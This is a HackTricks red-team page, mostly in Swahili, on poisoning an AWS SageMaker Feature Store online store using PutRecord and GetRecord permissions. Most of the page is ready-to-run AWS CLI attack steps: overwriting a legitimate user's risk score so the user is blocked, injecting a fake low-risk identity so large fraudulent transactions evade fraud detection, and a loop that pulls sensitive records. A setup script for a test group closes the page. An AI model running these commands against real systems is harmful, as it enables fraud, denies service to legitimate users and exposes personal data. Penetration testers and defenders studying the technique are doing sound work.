SageMaker Feature Store online store poisoning

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Kutumia vibaya sagemaker:PutRecord kwenye Feature Group yenye OnlineStore imewezeshwa ili kuandika juu thamani za feature zinazoishi zinazotumiwa na online inference. Ikiunganishwa na sagemaker:GetRecord, mshambuliaji anaweza kusoma features nyeti. Hii haihitaji ufikaji kwa models au endpoints.

Mahitaji

  • Ruhusa: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
  • Lengo: Feature Group yenye OnlineStore imewezeshwa (kwa kawaida backing real-time inference)
  • Ugumu: LOW - Amri za AWS CLI rahisi, hakuna uhariri wa modeli unahitajika

Hatua

Upelelezi

  1. Orodhesha Feature Groups zenye OnlineStore imewezeshwa
bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
  1. Elezea Feature Group lengwa ili kuelewa muundo wake
bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Kumbuka RecordIdentifierFeatureName, EventTimeFeatureName, na ufafanuzi wote wa feature. Hizi zinahitajika kwa kuunda rekodi sahihi.

Senario ya Shambulio 1: Data Poisoning (Kuandika tena Rekodi zilizopo)

  1. Soma rekodi halali ya sasa
bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
  1. Potesha rekodi kwa thamani zenye madhara kwa kutumia kigezo cha inline --record
bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
  1. Thibitisha data iliyoharibishwa
bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Athari: Modeli za ML zinazotumia kipengee hiki sasa zitaona risk_score=0.99 kwa mtumiaji halali, na zinaweza kuzuia miamala yao au huduma zao.

Senario la Shambulio 2: Uingizaji wa Data Mabaya (Unda Rekodi Bandia)

Ingiza rekodi mpya kabisa zenye vipengele vilivyodanganywa ili kukwepa udhibiti wa usalama:

bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Thibitisha injection:

bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impact: Attacker anaunda utambulisho wa uongo wenye alama ya hatari ya chini (0.01) ambalo linaweza kufanya fraudulent transactions za thamani kubwa bila kuamsha fraud detection.

Attack Scenario 3: Sensitive Data Exfiltration

Soma rekodi nyingi ili kutoa vipengele vya siri na kuprofaili tabia ya modeli:

bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Athari: Vipengele vya siri (alama za hatari, mifumo ya miamala, data binafsi) yafichuliwa kwa mshambuliaji.

Uundaji wa Feature Group wa Upimaji/Demo (Hiari)

Ikiwa unahitaji kuunda Feature Group ya majaribio:

bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks